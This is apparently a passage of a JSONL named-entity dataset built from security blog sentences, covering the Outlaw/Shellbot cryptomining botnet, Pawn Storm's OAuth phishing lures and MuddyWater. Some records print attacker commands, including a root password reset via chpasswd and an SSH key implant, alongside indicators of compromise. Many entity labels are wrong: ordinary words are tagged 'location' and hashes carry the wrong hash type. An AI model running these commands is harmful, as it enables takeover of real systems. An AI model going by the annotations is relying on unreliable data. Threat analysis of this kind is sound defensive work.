execution (published in June 2019), we observed that dota2 had its own folder but it was hardly executed, indicating that this version is the updated iteration: cat \/proc\/cpuinfo | grep name | wc -l echo \"root:TXhf4ICTayIh\"|chpasswd|bash echo \"321\" > \/var\/tmp\/.var03522123 rm -rf \/var\/tmp\/.var03522123 cat \/var\/tmp\/.var03522123 |","entities":[{"id":22903,"label":"location","start_offset":214,"end_offset":218},{"id":22904,"label":"location","start_offset":220,"end_offset":224},{"id":22905,"label":"location","start_offset":253,"end_offset":257}],"relations":[],"Comments":[]} {"id":7374,"text":"head -n 1 cat \/proc\/cpuinfo | grep name |","entities":[],"relations":[],"Comments":[]} {"id":7375,"text":"head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","entities":[],"relations":[],"Comments":[]} -{"id":7376,"text":"free -m | grep Mem |","entities":[{"id":22906,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]} -{"id":7377,"text":"awk '{print $2 ,$3, $4, $5, $6, $7}' ls -lh $(which ls) which ls crontab -l w uname -m cat \/proc\/cpuinfo | grep model | grep name | wc -l top uname uname -a lscpu | grep Model","entities":[{"id":22907,"label":"location","start_offset":112,"end_offset":117},{"id":22908,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]} {"id":7378,"text":"echo \"root 123\" > \/tmp\/up.txt rm -rf \/var\/tmp\/dota* cat \/var\/tmp\/.systemcache436621 echo \"1\" > \/var\/tmp\/.systemcache436621 cat \/var\/tmp\/.systemcache436621 sleep 15s && cd \/var\/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAk..... cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3N.....","entities":[{"id":22909,"label":"location","start_offset":0,"end_offset":4},{"id":22910,"label":"location","start_offset":6,"end_offset":10},{"id":22911,"label":"location","start_offset":103,"end_offset":107},{"id":22912,"label":"location","start_offset":150,"end_offset":154},{"id":22913,"label":"location","start_offset":247,"end_offset":251},{"id":22914,"label":"location","start_offset":334,"end_offset":338},{"id":22915,"label":"identity","start_offset":344,"end_offset":347}],"relations":[],"Comments":[]} -{"id":7379,"text":" Running the script removes the remaining files and scripts from previous attacks, keeping a low profile to evade detection.","entities":[{"id":22916,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} -{"id":7380,"text":"If the system has been previously infected with a cryptominer, it also attempts to kill the running miner and all its related activities.","entities":[{"id":22917,"label":"location","start_offset":100,"end_offset":105},{"id":22918,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]} {"id":7381,"text":"Based on a bashtemp directory of the latest sample we found, there are other compiled ELF scripts, named init and init2, that loops the kit to keep running: 0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6 init Figure 3. Running the init ELF script 93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494 init2 Figure 4.","entities":[{"id":22919,"label":"location","start_offset":44,"end_offset":50},{"id":22920,"label":"location","start_offset":67,"end_offset":70},{"id":22921,"label":"location","start_offset":110,"end_offset":113},{"id":22922,"label":"SHA2","start_offset":157,"end_offset":221},{"id":22924,"label":"SHA1","start_offset":267,"end_offset":331}],"relations":[],"Comments":[]} -{"id":7382,"text":"Running the init2 ELF script Both init and init2 scripts make sure all other running mining services are killed, and that all the files in the working directory are executed by giving 777 permissions.","entities":[{"id":22926,"label":"location","start_offset":39,"end_offset":42},{"id":22927,"label":"location","start_offset":101,"end_offset":104},{"id":22928,"label":"location","start_offset":113,"end_offset":116},{"id":22929,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]} {"id":7383,"text":"We also found the init0 script running; the script cleans out all miners regardless of its origin.","entities":[],"relations":[],"Comments":[]} {"id":7384,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]} {"id":7385,"text":"The init0 script running It then resets cron and removes possible cache files from other programs, starts scripts and binaries a, init0, and start, and sets the persistence by modifying the crontab.","entities":[{"id":22931,"label":"threat-actor","start_offset":40,"end_offset":44},{"id":22932,"label":"location","start_offset":45,"end_offset":48},{"id":22933,"label":"location","start_offset":66,"end_offset":71},{"id":22934,"label":"location","start_offset":114,"end_offset":117},{"id":22935,"label":"location","start_offset":137,"end_offset":140},{"id":22936,"label":"location","start_offset":141,"end_offset":146},{"id":22937,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]} -{"id":7386,"text":"The a binary is a script wrapper to start run, a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system.","entities":[{"id":22938,"label":"location","start_offset":36,"end_offset":41},{"id":22939,"label":"location","start_offset":49,"end_offset":53}],"relations":[],"Comments":[]} -{"id":7387,"text":"The Shellbot disguises itself as a process named rsync, commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization.","entities":[{"id":22942,"label":"location","start_offset":84,"end_offset":88},{"id":22943,"label":"location","start_offset":95,"end_offset":98},{"id":22944,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]} {"id":7388,"text":"This allows the malicious activity to evade detection.","entities":[],"relations":[],"Comments":[]} {"id":7389,"text":" Figure 6. Current variables for rsync (the Shellbot) Figure 7. Connects to C&C to send current control variables","entities":[],"relations":[],"Comments":[]} -{"id":7390,"text":"The Shellbot script is added to run after the victim’s system reboots, and scripts \/a\/upd, \/b\/sync\/, and \/c\/aptitude\/ are added to the crontab.","entities":[{"id":22948,"label":"location","start_offset":71,"end_offset":74},{"id":22949,"label":"location","start_offset":101,"end_offset":104},{"id":22950,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} -{"id":7391,"text":"However, while we observed the presence of the codes, the functions of upd, sync and aptitude were disabled in the kits’ latest version.","entities":[{"id":22951,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":7392,"text":"It remains unclear whether these are leftover code from the previous versions or their particular purposes were served.","entities":[{"id":22952,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} -{"id":7393,"text":"Shellbot is also used to control the botnet, with a command that is sent and run from the C&C to determine if there is a code execution in the shell, the hostname, and its architecture.","entities":[{"id":22953,"label":"location","start_offset":73,"end_offset":76},{"id":22954,"label":"location","start_offset":143,"end_offset":148},{"id":22955,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} -{"id":7394,"text":"All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C. We also found traces of Android Package Kits- (APK-) and Android Debug Bridge (ADB)-based commands that enable cryptocurrency mining activities in Android-based TVs: Figure 8.","entities":[{"id":22956,"label":"location","start_offset":12,"end_offset":15},{"id":22957,"label":"location","start_offset":70,"end_offset":73},{"id":22959,"label":"location","start_offset":140,"end_offset":144},{"id":22960,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]} -{"id":7395,"text":"The tv.apk app’s Android manifest XML file Conclusion","entities":[{"id":22962,"label":"location","start_offset":25,"end_offset":33}],"relations":[],"Comments":[]} -{"id":7396,"text":"Since discovering the operations of this group in 2018, Outlaw continues to use scripts, codes, and commands that have been previously used and deployed.","entities":[{"id":22965,"label":"location","start_offset":96,"end_offset":99},{"id":22966,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]} -{"id":7397,"text":"These routines are indicative of the group’s aim to get quantitative returns through varied cybercriminal profit streams.","entities":[{"id":22967,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]} -{"id":7398,"text":"This was also reinforced by their naming conventions, wherein different versions are simply named after the code iterations, following a specific format regardless of the actual function of the code.","entities":[{"id":22968,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":7399,"text":"Furthermore, based on the group’s use of dated exploits as vectors that companies would have likely addressed with monitoring and regular patching schedules, it appears that they’re going after enterprises who have yet to patch their systems, as well as companies with internet-facing systems with weak to no monitoring of traffic and activities.","entities":[{"id":22969,"label":"location","start_offset":93,"end_offset":99},{"id":22970,"label":"location","start_offset":126,"end_offset":129},{"id":22971,"label":"location","start_offset":331,"end_offset":334}],"relations":[],"Comments":[]} -{"id":7400,"text":"Considering the amount of resources needed to deploy all the necessary patches for an enterprise (such as quality testing and operations alignment), which implies costly downtime for operations and the hesitation to update all systems immediately, Outlaw may find even more targets and victims for their updated botnets every time there is a patch released and waiting to be downloaded.","entities":[{"id":22972,"label":"location","start_offset":86,"end_offset":96},{"id":22973,"label":"location","start_offset":106,"end_offset":113},{"id":22974,"label":"location","start_offset":122,"end_offset":125},{"id":22975,"label":"location","start_offset":194,"end_offset":197},{"id":22977,"label":"location","start_offset":255,"end_offset":258},{"id":22978,"label":"location","start_offset":282,"end_offset":285},{"id":22979,"label":"location","start_offset":326,"end_offset":330},{"id":22980,"label":"location","start_offset":357,"end_offset":360}],"relations":[],"Comments":[]} -{"id":7401,"text":"Save for a few iteration updates, combinations from previous deployments, and using the routines repetitively for every campaign, we found very little changes in the group’s toolkit, which allowed various honeypots across the Eastern European region to detect many of the sent binaries.","entities":[{"id":22981,"label":"location","start_offset":0,"end_offset":4},{"id":22982,"label":"location","start_offset":74,"end_offset":77},{"id":22983,"label":"location","start_offset":120,"end_offset":128},{"id":22984,"label":"location","start_offset":144,"end_offset":150},{"id":22986,"label":"location","start_offset":243,"end_offset":249},{"id":22987,"label":"location","start_offset":260,"end_offset":264}],"relations":[],"Comments":[]} -{"id":7402,"text":"Meanwhile, the group uses a wide range of IP addresses as input for scanning activities that are grouped by country, allowing them to attack certain regions or areas within particular periods of the year, as previously observed.","entities":[{"id":22988,"label":"location","start_offset":33,"end_offset":38},{"id":22989,"label":"location","start_offset":93,"end_offset":96},{"id":22990,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]} -{"id":7403,"text":"We think the group has likely become more enterprising, and learned to take advantage of some details from their previous campaigns to maximize profit opportunities while exerting minimal effort.","entities":[{"id":22992,"label":"location","start_offset":23,"end_offset":29},{"id":22993,"label":"location","start_offset":56,"end_offset":59},{"id":22994,"label":"location","start_offset":60,"end_offset":67},{"id":22995,"label":"location","start_offset":188,"end_offset":194}],"relations":[],"Comments":[]} -{"id":7404,"text":"By shaping the attack, the group may be able to create niches in the underground, catering to the specific needs of their customers.","entities":[{"id":22996,"label":"location","start_offset":3,"end_offset":10},{"id":22997,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} -{"id":7405,"text":"Also aware of the existing laws in Europe, they can avoid prosecution in certain countries as long as they avoid attacking them.","entities":[{"id":22998,"label":"location","start_offset":27,"end_offset":31},{"id":23000,"label":"location","start_offset":48,"end_offset":51},{"id":23001,"label":"location","start_offset":94,"end_offset":98},{"id":23002,"label":"location","start_offset":123,"end_offset":127}],"relations":[],"Comments":[]} -{"id":7406,"text":"Collection of results and data from scanning in this manner might be easier to sort (while allowing them to stay under the radar), as compared to getting feedback from zombie bots deployed around the world simultaneously.","entities":[{"id":23003,"label":"location","start_offset":22,"end_offset":25},{"id":23004,"label":"location","start_offset":100,"end_offset":104},{"id":23005,"label":"location","start_offset":200,"end_offset":205}],"relations":[],"Comments":[]} -{"id":7407,"text":"We will continue to monitor this hacking group’s activities and their toolkit’s developments.","entities":[{"id":23006,"label":"location","start_offset":3,"end_offset":7},{"id":23007,"label":"location","start_offset":20,"end_offset":27},{"id":23008,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]} -{"id":7408,"text":"Outlaw’s attack routines may not be new, but it still serves as a reminder for enterprises to update their systems regularly.","entities":[{"id":23010,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]} -{"id":7409,"text":"Legacy system users may use their providers’ virtual patches.","entities":[{"id":23011,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} -{"id":7410,"text":"Users are advised to close unused ports, to secure ports and other internet-facing devices that are regularly open for system administrators’ support.","entities":[{"id":23012,"label":"location","start_offset":6,"end_offset":9},{"id":23013,"label":"location","start_offset":57,"end_offset":60},{"id":23014,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} -{"id":7411,"text":"Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint, actively blocking malicious URLs by employing filtering, behavioral analysis, and custom sandboxing.","entities":[{"id":23015,"label":"location","start_offset":6,"end_offset":9},{"id":23016,"label":"location","start_offset":36,"end_offset":44},{"id":23017,"label":"location","start_offset":59,"end_offset":62},{"id":23018,"label":"location","start_offset":88,"end_offset":95},{"id":23019,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]} {"id":7412,"text":"Trend Micro solutions","entities":[],"relations":[],"Comments":[]} -{"id":7413,"text":"Users can consider adopting security solutions that can defend against malicious bot-related activities such as Outlaw’s through a cross-generational blend of threat defense techniques.","entities":[{"id":23021,"label":"location","start_offset":6,"end_offset":9},{"id":23022,"label":"location","start_offset":28,"end_offset":36},{"id":23023,"label":"location","start_offset":52,"end_offset":55},{"id":23025,"label":"location","start_offset":131,"end_offset":136}],"relations":[],"Comments":[]} -{"id":7414,"text":"Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints, and protect physical, virtual, and cloud workloads.","entities":[{"id":23028,"label":"location","start_offset":19,"end_offset":27},{"id":23029,"label":"location","start_offset":42,"end_offset":50},{"id":23030,"label":"location","start_offset":73,"end_offset":76},{"id":23031,"label":"location","start_offset":88,"end_offset":95},{"id":23032,"label":"location","start_offset":96,"end_offset":99},{"id":23033,"label":"location","start_offset":111,"end_offset":114},{"id":23034,"label":"location","start_offset":142,"end_offset":145},{"id":23035,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]} -{"id":7415,"text":"With technologies that employ web\/URL filtering, behavioral analysis, and custom sandboxing, XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities.","entities":[{"id":23036,"label":"location","start_offset":70,"end_offset":73},{"id":23038,"label":"location","start_offset":98,"end_offset":106},{"id":23039,"label":"location","start_offset":114,"end_offset":124},{"id":23040,"label":"location","start_offset":133,"end_offset":137},{"id":23041,"label":"location","start_offset":188,"end_offset":191},{"id":23042,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]} -{"id":7416,"text":"A multi-layered connected network defense and complete visibility into all network traffic, in addition to a next-generation intrusion prevention system (NGIPS), can help organizations stay a step ahead of threats that could compromise intangible assets.","entities":[{"id":23043,"label":"location","start_offset":42,"end_offset":45},{"id":23044,"label":"location","start_offset":162,"end_offset":165}],"relations":[],"Comments":[]} -{"id":7417,"text":"XGen security also powers Trend Micro’s suite of security solutions: Hybrid Cloud Security and User Protection.","entities":[{"id":23045,"label":"location","start_offset":5,"end_offset":13},{"id":23046,"label":"location","start_offset":19,"end_offset":25},{"id":23048,"label":"location","start_offset":49,"end_offset":57},{"id":23049,"label":"location","start_offset":76,"end_offset":81},{"id":23050,"label":"location","start_offset":82,"end_offset":90},{"id":23051,"label":"location","start_offset":91,"end_offset":94},{"id":23052,"label":"location","start_offset":100,"end_offset":110}],"relations":[],"Comments":[]} {"id":7418,"text":"Indicators of Compromise (IoCs) SHA256 Description Detection Name 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa Cryptocurrency miner Trojan.SH.MALXMR.UWEJP b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d Shellbot Backdoor.SH.SHELLBOT.AA 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 Tool Trojan.Linux.SSHBRUTE.B fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL32 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL64 URLs 159[.]203[.]141[.]208 104[.]236[.]192[.]6 45[.]9[.]148[.]129:80 Miner pool 45[.]9[.]148[.]125:80 Miner pool http:\/\/www[.]minpop[.]com\/sk12pack\/idents.php Command and control http:\/\/www[.]minpop[.]com\/sk12pack\/names.php Command and control MITRE ATT&CK Matrix Tags Malware | APT & Targeted Attacks | Endpoints | IoT | Research | Network","entities":[{"id":23053,"label":"SHA2","start_offset":67,"end_offset":131},{"id":23054,"label":"location","start_offset":147,"end_offset":152},{"id":23055,"label":"MD5","start_offset":176,"end_offset":240},{"id":23056,"label":"SHA1","start_offset":274,"end_offset":338},{"id":23057,"label":"location","start_offset":339,"end_offset":343},{"id":23058,"label":"SHA1","start_offset":368,"end_offset":432},{"id":23059,"label":"location","start_offset":448,"end_offset":453},{"id":23060,"label":"malware","start_offset":454,"end_offset":463},{"id":23061,"label":"SHA2","start_offset":485,"end_offset":549},{"id":23062,"label":"location","start_offset":565,"end_offset":570},{"id":23063,"label":"malware","start_offset":571,"end_offset":580},{"id":23064,"label":"IPV4","start_offset":610,"end_offset":631},{"id":23065,"label":"IPV4","start_offset":633,"end_offset":652},{"id":23066,"label":"location","start_offset":681,"end_offset":686},{"id":23067,"label":"location","start_offset":687,"end_offset":691},{"id":23068,"label":"location","start_offset":721,"end_offset":726},{"id":23069,"label":"location","start_offset":727,"end_offset":731},{"id":23070,"label":"URL","start_offset":733,"end_offset":758},{"id":23071,"label":"location","start_offset":795,"end_offset":798},{"id":23072,"label":"URL","start_offset":808,"end_offset":833},{"id":23073,"label":"location","start_offset":870,"end_offset":873},{"id":23074,"label":"location","start_offset":930,"end_offset":933}],"relations":[],"Comments":[]} -{"id":7419,"text":"Pawn Storm is an active and aggressive espionage actor group that has been operating since 2004.","entities":[{"id":23076,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]} -{"id":7420,"text":"The group uses different methods and strategies to gain information from their targets, which are covered in our latest research.","entities":[{"id":23078,"label":"location","start_offset":33,"end_offset":36},{"id":23079,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} {"id":7421,"text":"However, they are particularly known for dangerous credential phishing campaigns.","entities":[{"id":23080,"label":"location","start_offset":14,"end_offset":17},{"id":23081,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]} {"id":7422,"text":"In 2016, the group set up aggressive credential phishing attacks against the Democratic National Convention (DNC), German political party Christian Democratic Union (CDU), the parliament and government of Turkey, the parliament of Montenegro, the World Anti-Doping Agency (WADA), Al Jazeera, and many other organizations.","entities":[{"id":23083,"label":"attack-pattern","start_offset":48,"end_offset":56},{"id":23089,"label":"location","start_offset":187,"end_offset":190},{"id":23095,"label":"location","start_offset":292,"end_offset":295},{"id":23096,"label":"location","start_offset":296,"end_offset":300}],"relations":[],"Comments":[]} -{"id":7423,"text":"This blog post discusses how Pawn Storm abused Open Authentication (OAuth) in advanced social engineering schemes.","entities":[{"id":23097,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]} {"id":7424,"text":"High profile users of free webmail were targeted by campaigns between 2015 and 2016.","entities":[],"relations":[],"Comments":[]} {"id":7425,"text":"How is OAuth abused?","entities":[],"relations":[],"Comments":[]} -{"id":7426,"text":"OAuth is a way of authorizing third party applications to login to users’ online accounts for social media sites, gaming sites, and services like free webmail.","entities":[{"id":23100,"label":"location","start_offset":11,"end_offset":14},{"id":23101,"label":"location","start_offset":101,"end_offset":106},{"id":23102,"label":"location","start_offset":107,"end_offset":112},{"id":23103,"label":"location","start_offset":114,"end_offset":120},{"id":23104,"label":"location","start_offset":121,"end_offset":126},{"id":23105,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]} -{"id":7427,"text":"The big advantage is that users don’t have to reveal their password; instead, the third party applications get a token that can be used for authentication.","entities":[{"id":23106,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} -{"id":7428,"text":"While OAuth offers convenience and can be usefully applied in different ways, it may also expose the user to risks.","entities":[{"id":23107,"label":"location","start_offset":31,"end_offset":34},{"id":23108,"label":"location","start_offset":35,"end_offset":38},{"id":23109,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":7429,"text":"Threat actors can get through the background checks that service providers do before authorizing applications for OAuth use.","entities":[{"id":23110,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]} -{"id":7430,"text":"These actors can then integrate OAuth into advanced social engineering schemes.","entities":[{"id":23111,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]} -{"id":7431,"text":"Some internet service providers only require an email address and a website for third party applications to use OAuth.","entities":[{"id":23112,"label":"location","start_offset":32,"end_offset":36},{"id":23113,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} {"id":7432,"text":"Because of these policies, experienced actor groups like Pawn Storm can take advantage of OAuth for their credential phishing schemes.","entities":[{"id":23115,"label":"location","start_offset":68,"end_offset":71},{"id":23116,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]} {"id":7433,"text":" Figure 1. The sequence of Pawn Storm's OAuth abuse A dissection of Pawn Storm OAuth attacks","entities":[{"id":23118,"label":"threat-actor","start_offset":36,"end_offset":46},{"id":23119,"label":"threat-actor","start_offset":77,"end_offset":87}],"relations":[],"Comments":[]} {"id":7434,"text":"In these attacks a user would get a message like this:","entities":[],"relations":[],"Comments":[]} {"id":7435,"text":" Figure 2. A phony email from Pawn Storm","entities":[{"id":23121,"label":"threat-actor","start_offset":40,"end_offset":50}],"relations":[],"Comments":[]} -{"id":7436,"text":"The email poses as an advisory from Gmail and prompts potential victims to install an “official” application called “Google Defender”.","entities":[{"id":23123,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]} -{"id":7437,"text":"Normally an internet user will know better than to readily install an application that wasn't asked for.","entities":[{"id":23124,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]} -{"id":7438,"text":"If the user clicks on the link, it will lead to a page on accounts.google.com that looks like this: Figure 3.","entities":[{"id":23125,"label":"location","start_offset":35,"end_offset":39},{"id":23126,"label":"location","start_offset":40,"end_offset":44},{"id":23127,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]} -{"id":7439,"text":"A request to grant access from “Google Defender”","entities":[{"id":23130,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]} {"id":7440,"text":"At this point, the user is faced with a legitimate Google site—since all OAuth approvals are done on the site of the service provider—but the application itself is part of a phishing scheme.","entities":[{"id":23131,"label":"location","start_offset":8,"end_offset":13},{"id":23133,"label":"location","start_offset":89,"end_offset":92},{"id":23134,"label":"attack-pattern","start_offset":174,"end_offset":182}],"relations":[],"Comments":[]} -{"id":7441,"text":"“Google Defender” is actually a third party application made by Pawn Storm.","entities":[{"id":23136,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]} {"id":7442,"text":"After abusing the screening process for OAuth approvals, Pawn Storm’s rogue application operates like every other app accepted by the service provider.","entities":[{"id":23139,"label":"malware","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]} -{"id":7443,"text":"If the user falls for the scam and clicks the “Allow” button, an OAuth token is provided to the app, giving Pawn Storm semi-permanent access to the target’s mailbox.","entities":[{"id":23140,"label":"location","start_offset":12,"end_offset":17},{"id":23141,"label":"location","start_offset":31,"end_offset":34},{"id":23143,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]} {"id":7444,"text":"Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users.","entities":[{"id":23146,"label":"attack-pattern","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]} {"id":7445,"text":"Here is an example from 2015 where “McAfee Email Protection” is offered.","entities":[{"id":23149,"label":"identity","start_offset":36,"end_offset":42},{"id":23150,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]} {"id":7446,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]} @@ -4528,121 +5413,49 @@ {"id":7448,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]} {"id":7449,"text":"This gives the third party app OAuth access","entities":[],"relations":[],"Comments":[]} {"id":7450,"text":"However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm.","entities":[{"id":23160,"label":"malware","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]} -{"id":7451,"text":"Clicking on the “Agree” button would give Pawn Storm an OAuth token and access to the targets’ mailbox.","entities":[{"id":23162,"label":"location","start_offset":37,"end_offset":41},{"id":23164,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":7452,"text":"The group then gains access to the mailbox until the token gets revoked by the service provider or the target.","entities":[{"id":23165,"label":"location","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]} -{"id":7453,"text":"Pawn Storm apparently had some success with this type of attack as it kept sending this kind of social lure during the end of November and the first half of December 2015, as indicated in the next figure.","entities":[{"id":23167,"label":"location","start_offset":31,"end_offset":38},{"id":23168,"label":"location","start_offset":49,"end_offset":53},{"id":23169,"label":"location","start_offset":103,"end_offset":107},{"id":23171,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]} {"id":7454,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]} {"id":7455,"text":"Overview of Pawn Storm’s Yahoo credential phishing campaigns.","entities":[{"id":23176,"label":"attack-pattern","start_offset":42,"end_offset":50}],"relations":[],"Comments":[]} {"id":7456,"text":"The blue boxes indicate when Pawn Storm used OAuth lures while red boxes indicate other phishing email strategies OAuth enhances the user experience on the web.","entities":[{"id":23177,"label":"location","start_offset":4,"end_offset":8},{"id":23179,"label":"attack-pattern","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]} -{"id":7457,"text":"For example, by allowing social networks access to your webmail contact list, it is easier to find friends who are subscribed to the same social network.","entities":[{"id":23180,"label":"location","start_offset":64,"end_offset":71},{"id":23181,"label":"location","start_offset":72,"end_offset":76},{"id":23182,"label":"location","start_offset":111,"end_offset":114},{"id":23183,"label":"location","start_offset":133,"end_offset":137}],"relations":[],"Comments":[]} -{"id":7458,"text":"But while we believe that internet service providers have enhanced security checks of applications that are allowed to use OAuth, internet users are urged to never accept OAuth token requests from an unknown party or a service they did not ask for.","entities":[{"id":23184,"label":"location","start_offset":67,"end_offset":75},{"id":23185,"label":"location","start_offset":104,"end_offset":107},{"id":23186,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]} -{"id":7459,"text":"Regularly review the applications you have granted access to your mailbox in the security settings of your free webmail or social media service.","entities":[{"id":23187,"label":"location","start_offset":81,"end_offset":89},{"id":23188,"label":"location","start_offset":130,"end_offset":135}],"relations":[],"Comments":[]} -{"id":7460,"text":"In case you see a suspicious application immediately revoke the OAuth token.","entities":[{"id":23189,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]} {"id":7461,"text":"These are known rogue applications of Pawn Storm that have been used in credential phishing attacks against high profile users (variants of these names are likely to have been used by Pawn Storm as well): Google Defender Google Email Protection Google Scanner Delivery Service (Yahoo) McAfee Email protection (Yahoo) For more information about Pawn Storm, check out From Espionage to Cyber Propaganda: Pawn Storm's Activities over the Past Two Years.","entities":[{"id":23190,"label":"location","start_offset":6,"end_offset":9},{"id":23191,"label":"malware","start_offset":16,"end_offset":21},{"id":23192,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":23193,"label":"attack-pattern","start_offset":83,"end_offset":91},{"id":23194,"label":"location","start_offset":152,"end_offset":155},{"id":23195,"label":"location","start_offset":156,"end_offset":162},{"id":23196,"label":"threat-actor","start_offset":184,"end_offset":194},{"id":23197,"label":"location","start_offset":235,"end_offset":245},{"id":23198,"label":"identity","start_offset":286,"end_offset":292},{"id":23199,"label":"location","start_offset":299,"end_offset":309},{"id":23201,"label":"threat-actor","start_offset":348,"end_offset":358},{"id":23202,"label":"location","start_offset":360,"end_offset":365},{"id":23204,"label":"threat-actor","start_offset":406,"end_offset":416}],"relations":[],"Comments":[]} -{"id":7462,"text":" Tags APT & Targeted Attacks | Research | Web","entities":[{"id":23206,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]} {"id":7463,"text":"We discovered a new campaign targeting organizations in Turkey, Pakistan and Tajikistan that has some similarities with an earlier campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia.","entities":[{"id":23207,"label":"location","start_offset":20,"end_offset":28},{"id":23210,"label":"location","start_offset":73,"end_offset":76},{"id":23212,"label":"location","start_offset":131,"end_offset":139},{"id":23214,"label":"identity","start_offset":164,"end_offset":167},{"id":23216,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]} -{"id":7464,"text":"Third party security researchers named the MuddyWater campaign as such because of the difficulties in attributing the attacks.","entities":[{"id":23219,"label":"location","start_offset":12,"end_offset":20},{"id":23221,"label":"location","start_offset":54,"end_offset":62}],"relations":[],"Comments":[]} -{"id":7465,"text":"However, given the nature of the targets, as well as the gathering and uploading of information to C&C servers, it appears that the attackers are mainly concerned with espionage activities — with the Saudi Arabia’s National Cyber Security Center (NCSC) publishing an alert on their website regarding the attacks.","entities":[{"id":23222,"label":"location","start_offset":9,"end_offset":14},{"id":23223,"label":"location","start_offset":67,"end_offset":70},{"id":23225,"label":"location","start_offset":142,"end_offset":145},{"id":23229,"label":"location","start_offset":267,"end_offset":272}],"relations":[],"Comments":[]} -{"id":7466,"text":"Given the number of similarities, we can assume that there is a connection between these new attacks and the MuddyWater campaign.","entities":[{"id":23230,"label":"location","start_offset":0,"end_offset":5},{"id":23231,"label":"location","start_offset":37,"end_offset":40},{"id":23232,"label":"location","start_offset":75,"end_offset":82},{"id":23233,"label":"location","start_offset":101,"end_offset":104},{"id":23235,"label":"location","start_offset":120,"end_offset":128}],"relations":[],"Comments":[]} -{"id":7467,"text":"It also signifies that the attackers are not merely interested in a one-off campaign, but will likely continue to perform cyberespionage activities against the targeted countries and 